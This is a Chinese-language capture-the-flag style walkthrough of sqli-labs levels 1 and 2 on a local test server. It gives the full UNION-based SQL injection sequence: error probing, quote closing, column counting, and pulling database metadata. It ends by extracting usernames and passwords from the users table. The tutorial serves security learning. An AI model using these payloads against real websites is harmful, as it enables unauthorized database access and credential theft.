打穿sqli-labs靶场第二天(less-1,less-2)
打开phpstudy,启动网站环境
通关less-1(字符型注入)
浏览器访问靶场,选择第一关(提示此关参数使用单引号字符型)
进入靶场后发现靶场页面提示输入参数值
根据页面提示,参数名为id,使用GET方式传入参数值:
http://127.0.0.1/sqli-labs-master/less-1/?id=1 //页面回显正常
测试是否存在注入,将传入的值1改为’,
http://127.0.0.1/sqli-labs-master/Less-1/?id=',
根据页面回显报错,确定参数值成功带入数据库执行。分析页面报错此处对传入的参数值进行了单引号过滤,即传入的值会被单引号括起来所以在此处构造SQL语句时要闭合单引号
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' --+ //页面回显正常。(--+表示注释符)
确定是否成功闭合,可以使用and 1=1 和 and 1=2 进行确定,当使用and 1=1 页面回显正常and 1=2页面回显错误时则代表闭合成功(即将SQL语句传输到数据库中看是否正常执行)
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=1 --+
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=2 --+
确定存在注入点后开始尝试爆字段数(order by x,x代表字段数)
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' order by 3 --+(猜测字段数为3),页面回显正常。
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' order by 4 --+(猜测字段数为4),页面回显报错。
确定字段数为3
确定字段数后尝试爆破报错字段(能够回显值的字段),使用union select联合查询
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=2 union select 1,2,3 --+
页面回显数字为2,3,报错字段为2和3
利用爆粗字段查询数据库名(database())与连接数据库的用户(user())
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=2 union select 1,database(),user() --+
页面回显数据库名:security
页面回显连接数据库用户:root@localhost(root用户)
通过数据库名查询数据库下的所有表名(group_concat()可以返回数据库下的所有表名)
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
指定要查询的表名(此处目标表为users),查询此表下的所有列名
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
指定要查询的字段(此处目标字段为username,password),查询目标字段下的所有值
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=2 union select 1,group_concat(username),group_concat(password) from users --+
至此less-1成功通关
通关less-2(整型注入)
浏览器访问,选择第二关(提示此关参数使用整型)
根据页面提示,使用GET请求方式传参
http://127.0.0.1/sqli-labs-master/less-2/?id=1
测试是否存在注入点
http://127.0.0.1/sqli-labs-master/less-2/?id='
页面报错,表示SQL语句成功代入数据库执行
根据页面回显报错:near ‘’ 确定此处未对参数进行符号过滤即参数类型为整型。进一步确定此处是否存在注入点
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1=1 //页面回显正常
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1=2 //页面回显错误
爆破字段长度
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 3 //猜测字段长度为3
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 4 //猜测字段长度为4
获取报错字段值,使用union select联合查询。得到报错字段为2和3
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1=2 union select 1,2,3
查询数据库名和连接数据库用户
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1=2 union select 1,database(),user()
得到信息:数据库名:security、连接数据库用户:root@localhost
利用获取的数据库名查询该数据库下的所有表名
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'
查询目标表(users)下的所有列名信息
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'
查询目标列(username、password)下的所有字段值数据
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1=2 union select 1,group_concat(username),group_concat(password) from users
总结
第一关与第二关相比,不同点在于:
1.参数类型不同:less-1参数为字符型(单引号)、less-2参数类型为整型
2.注释符的加与不加:less-1加注释符的原因时在构造SQL语句时只闭合了一个单引号,后面的单引号没有闭合,所以使用注释直接将未闭合的单引号注释掉了。
less-2没有加注释符原因在于此处无需闭合符号。